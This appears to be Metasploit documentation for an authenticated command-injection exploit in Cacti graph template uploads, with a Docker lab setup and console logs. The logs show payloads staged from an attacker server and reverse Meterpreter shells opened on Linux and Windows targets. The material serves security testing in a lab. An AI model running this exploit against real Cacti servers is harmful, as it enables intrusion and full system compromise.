Files
2026-01-21 10:09:12 -08:00

10 KiB

Vulnerable Application

This module exploits an authenticated remote code execution vulnerability affecting Cacti versions prior to 1.2.29. Authenticated users can upload a graph template through the /graph_templates.php endpoint, where the right_axis_label parameter is susceptible to command injection. This flaw allows attackers to execute arbitrary commands on the affected system.

Because the injection point imposes a payload length limitation, the module stages the attack by hosting the full payload on an attacker-controlled HTTP server. The initial command retrieves the secondary payload using curl, writes it to the Cacti web root, and executes it.

Installation

Docker installation of Cacti version 1.2.28

  • Create the following files (based on the files from here):
    • docker-compose.yml:
version: '2'
services:
  web:
    build: ./cacti
    ports:
     - "8080:80"
    depends_on:
     - db
    entrypoint:
     - bash
     - /entrypoint.sh
    volumes:
     - ./entrypoint.sh:/entrypoint.sh
    command: apache2-foreground
  db:
   image: mysql:5.7
   environment:
    - MYSQL_ROOT_PASSWORD=root
    - MYSQL_DATABASE=cacti
  • entrypoint.sh:
#!/bin/bash
set -ex

wait-for-it db:3306 -t 300 -- echo "database is connected"
if [[ ! $(mysql --host=db --user=root --password=root cacti -e "show tables") =~ "automation_devices" ]]; then
    mysql --host=db --user=root --password=root cacti < /var/www/html/cacti/cacti.sql
    mysql --host=db --user=root --password=root cacti -e "UPDATE user_auth SET must_change_password='' WHERE username = 'admin'"
    mysql --host=db --user=root --password=root cacti -e "SET GLOBAL time_zone = 'UTC'"
fi

chown www-data:www-data -R /var/www/html
# first arg is `-f` or `--some-option`
if [ "${1#-}" != "$1" ]; then
  set -- apache2-foreground "$@"
fi

exec "$@"
  • Create a ./cacti/ directory with mkdir cacti
  • Add the following files in the ./cacti/ folder (based on the files from here:
    • Dockerfile:
FROM php:7.4-apache

RUN apt-get update && \
    apt-get install -y --no-install-recommends rrdtool snmp wget ca-certificates libsnmp-dev default-mysql-client \
            wait-for-it libjpeg62-turbo-dev libpng-dev libfreetype6-dev libgmp-dev libldap2-dev libicu-dev

RUN docker-php-ext-configure gd --with-freetype --with-jpeg &&\
    docker-php-ext-configure intl &&\
    docker-php-ext-configure pcntl --enable-pcntl &&\
    docker-php-ext-install pdo_mysql snmp gmp ldap sockets gd intl pcntl gettext

RUN mkdir /var/www/html/cacti &&\
    wget -qO- https://files.cacti.net/cacti/linux/cacti-1.2.28.tar.gz | tar zx -C /var/www/html/cacti --strip-components 1

COPY config.php /var/www/html/cacti/include/config.php
COPY cacti.ini /usr/local/etc/php/conf.d/cacti.ini
  • cacti.ini
display_errors=off
memory_limit=512M
date.timezone=UTC
max_execution_time=120
  • config.php
<?php
$database_type     = 'mysql';
$database_default  = 'cacti';
$database_hostname = 'db';
$database_username = 'root';
$database_password = 'root';
$database_port     = '3306';
$database_retries  = 5;
$database_ssl      = false;
$database_ssl_key  = '';
$database_ssl_cert = '';
$database_ssl_ca   = '';
$database_persist  = false;
$poller_id = 1;
$url_path = '/cacti/';
$cacti_session_name = 'Cacti';
$cacti_db_session = false;
$disable_log_rotation = false;
  • Run docker-compose up
  • Access http://127.0.0.1:8080/cacti
  • Login with the admin user (password: admin)
  • Follow the installation steps (accept every default settings and ignore the pre-installation checks suggestions)

Note that other versions can be installed this way by changing the tar file name in Dockerfile (cacti-1.2.28.tar.gz).

Cacti on Windows

Download and run a Cacti installer from here. The admin password should be put in a file called Cacti-Passwords.txt by the installer, which is in the same location the installer was run. Follow the same installation steps as for the Docker installation.

Setup a new user

  • Login with the admin user (password: admin)
  • Go to Configuration > Users
  • Click on the + sign
  • Enter the User Name, Password and check the Enabled option.
  • Click Create
  • Go to the Permissions tab and set the Import Templates permission in Template Editor
  • Click Save

Verification Steps

  1. Install the application
  2. Start msfconsole
  3. Do: use linux/http/cacti_graph_template_rce
  4. Do: set target <target>
  5. Do: run rhost=<target address> rport=<target port> lhost=<local address> username=<username> password=<password>
  6. You should get a shell.

Options

USERNAME

The user to login with (default admin).

PASSWORD

The password to login with (default admin)

Scenarios

Linux target Cacti 1.2.28

msf exploit(linux/http/cacti_graph_template_rce) > set payload cmd/linux/http/x64/meterpreter/reverse_tcp
payload => cmd/linux/http/x64/meterpreter/reverse_tcp
msf exploit(linux/http/cacti_graph_template_rce) > run rhost=172.16.199.136 rport=8080 lhost=172.16.199.1 srvhost=172.16.199.1 srvport=9090 username=admin password=admin
[*] Exploit running as background job 1.
[*] Exploit completed, but no session was created.

[*] Started reverse TCP handler on 172.16.199.1:4444
msf exploit(linux/http/cacti_graph_template_rce) > [*] Running automatic check ("set AutoCheck false" to disable)
[*] Checking Cacti version
[+] The web server is running Cacti version 1.2.28
[*] Attempting login with user `admin` and password `admin`
[+] Logged in
[+] The target is vulnerable.
[*] Using URL: http://172.16.199.1:9090/y
[*] Template update response: HTTP 200
[*] Trigger template update response: HTTP 200
[*] 172.16.199.136   cacti_graph_template_rce - Request 'GET /y'
[*] 172.16.199.136   cacti_graph_template_rce - Sending payload ...
[+] PHP payload uploaded successfully to /cacti/X.php
[*] Template update response: HTTP 200
[*] Trigger template update response: HTTP 200
[*] Sending stage (3090404 bytes) to 172.16.199.136
[+] Deleted X.php
[*] Meterpreter session 1 opened (172.16.199.1:4444 -> 172.16.199.136:44642) at 2025-12-21 23:27:10 -0800
msf exploit(linux/http/cacti_graph_template_rce) > sessions -i -1
[*] Starting interaction with 1...

meterpreter > getuid
sysServer username: www-data
infometerpreter > sysinfo
Computer     : 172.18.0.3
OS           : Debian 11.5 (Linux 6.8.0-90-generic)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter > exit

PHP target Cacti 1.2.28

msf exploit(linux/http/cacti_graph_template_rce) > set payload php/meterpreter/reverse_tcp
payload => php/meterpreter/reverse_tcp
msf exploit(linux/http/cacti_graph_template_rce) > set target 1
target => 1
msf exploit(linux/http/cacti_graph_template_rce) > run rhost=172.16.199.136 rport=8080 lhost=172.16.199.1 srvhost=172.16.199.1 srvport=9090 username=admin password=admin
[*] Exploit running as background job 2.
[*] Exploit completed, but no session was created.

[*] Started reverse TCP handler on 172.16.199.1:4444
msf exploit(linux/http/cacti_graph_template_rce) > [*] Running automatic check ("set AutoCheck false" to disable)
[*] Checking Cacti version
[+] The web server is running Cacti version 1.2.28
[*] Attempting login with user `admin` and password `admin`
[+] Logged in
[+] The target is vulnerable.
[*] Using URL: http://172.16.199.1:9090/k
[*] Template update response: HTTP 200
[*] Trigger template update response: HTTP 200
[*] 172.16.199.136   cacti_graph_template_rce - Request 'GET /k'
[*] 172.16.199.136   cacti_graph_template_rce - Sending payload ...
[+] PHP payload uploaded successfully to /cacti/B.php
[*] Template update response: HTTP 200
[*] Trigger template update response: HTTP 200
[*] Sending stage (41224 bytes) to 172.16.199.136
[+] Deleted B.php
[+] Deleted f.php
[*] Meterpreter session 2 opened (172.16.199.1:4444 -> 172.16.199.136:46294) at 2025-12-21 23:40:26 -0800
[*] Server stopped.

msf exploit(linux/http/cacti_graph_template_rce) > sessions -i -1
[*] Starting interaction with 2...

meterpreter > getuid
Server username: www-data
meterpreter > sysinfo
Computer        : 6e0f5eba525a
OS              : Linux 6e0f5eba525a 6.8.0-90-generic #91~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Thu Nov 20 15:20:45 UTC 2 x86_64
Architecture    : x64
System Language : C
Meterpreter     : php/linux
meterpreter >

Windows Command Target Cacti 1.2.27

msf exploit(linux/http/cacti_graph_template_rce) > set payload cmd/windows/http/x64/meterpreter/reverse_tcp
payload => cmd/windows/http/x64/meterpreter/reverse_tcp
msf exploit(linux/http/cacti_graph_template_rce) > set target 2
target => 2
msf exploit(linux/http/cacti_graph_template_rce) > run rhost=172.16.199.131 rport=80 lhost=172.16.199.1 srvhost=172.16.199.1 srvport=9090 username=admin password=ceb045830c850c4
msf exploit(multi/http/cacti_graph_template_rce) > rexploit
[*] Reloading module...
[*] Exploit running as background job 132.
[*] Exploit completed, but no session was created.

[*] Started reverse TCP handler on 172.16.199.1:8477
msf exploit(multi/http/cacti_graph_template_rce) > [*] Running automatic check ("set AutoCheck false" to disable)
[*] Checking Cacti version
[+] The web server is running Cacti version 1.2.27
[*] Attempting login with user `admin` and password `ceb045830c850c4`
[+] Logged in
[+] The target is vulnerable.
[*] Using URL: http://172.16.199.1:9090/g
[*] win command cmd\x20/c\x20r.bat
[*] Template update response: HTTP 200
[*] Trigger template update response: HTTP 200
[*] 172.16.199.141   cacti_graph_template_rce - Request 'GET /g'
[*] 172.16.199.141   cacti_graph_template_rce - Sending payload ...
[+] PHP payload uploaded successfully to /cacti/d.php
[*] Template update response: HTTP 200
[*] Trigger template update response: HTTP 200
[*] Sending stage (230982 bytes) to 172.16.199.141
[+] Deleted d.php
[+] Deleted t.php
[*] Meterpreter session 5 opened (172.16.199.1:8477 -> 172.16.199.141:53031) at 2025-12-22 19:15:00 -0800

msf exploit(multi/http/cacti_graph_template_rce) > sessions -i -1
[*] Starting interaction with 5...

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter >
[*] Server stopped.

meterpreter > sysinfo
Computer        : DESKTOP-0OPTL76
OS              : Windows 10 22H2+ (10.0 Build 19045).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x64/windows
meterpreter >